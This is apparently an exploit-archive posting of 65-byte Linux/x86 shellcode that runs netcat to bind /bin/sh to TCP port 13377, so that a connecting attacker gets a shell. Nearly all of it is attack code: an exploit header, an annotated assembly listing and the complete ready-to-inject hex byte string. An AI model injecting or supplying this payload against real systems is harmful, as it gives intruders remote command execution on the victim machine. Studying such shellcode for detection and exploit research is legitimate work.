Linux/x86 Bindshell Shellcode

Linux/x86 Bindshell Shellcode

65 bytes small Linux/x86 bindshell shellcode that binds /bin/sh to TCP/0.0.0.0:13377.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# Exploit Title: Linux/x86 - bind shell on port 13377 Shellcode (65 bytes)
# Date: Jan 12, 2021
# Exploit Author: ac3
# Version: Linux x86
# Tested on: Linux x86

## linux x86 nc -lvve/bin/sh -p13377 shellcode
## This shellcode will listen on port 13377 using netcat and give /bin/sh to connecting attacker

# 31 c0                   xor    %eax,%eax
# 31 d2                   xor    %edx,%edx
# 50                      push   eax
# 68 33 33 37 37          push   $0x37373333
# 68 2d 76 70 31          push   $0x3170762d
# 89 e2                   mov    %esp,%edx
# 50                      push   %eax
# 68 6e 2f 73 68          push   $0x68732f6e
# 68 65 2f 62 69          push   $0x69622f65
# 68 2d 6c 76 76          push   $0x76766c2d
# 89 e1                   mov    %esp,%ecx
# 50                      push   %eax
# 68 2f 2f 6e 63          push   $0x636e2f2f
# 68 2f 2f 2f 2f          push   $0x2f2f2f2f
# 68 2f 62 69 6e          push   $0x6e69622f
# 89 e3                   mov    %esp,%ebx
# 50                      push   %eax
# 52                      push   %edx
# 51                      push   %ecx
# 53                      push   %ebx
# 31 d2                   xor    %edx,%edx
# 89 e1                   mov    %esp,%ecx
# b0 0b                   mov    $0xb,%al
# cd 80                   int    $0x80

\x31\xc0\x31\xd2\x50\x68\x33\x33\x37\x37\x68\x2d\x76\x70\x31\x89\xe2\x50\x68\x6e\x2f\x73\x68\x68\x65\x2f\x62\x69\x68\x2d\x6c\x76\x76\x89\xe1\x50\x68\x2f\x2f\x6e\x63\x68\x2f\x2f\x2f\x2f\x68\x2f\x62\x69\x6e\x89\xe3\x50\x52\x51\x53\x31\xd2\x89\xe1\xb0\x0b\xcd\x80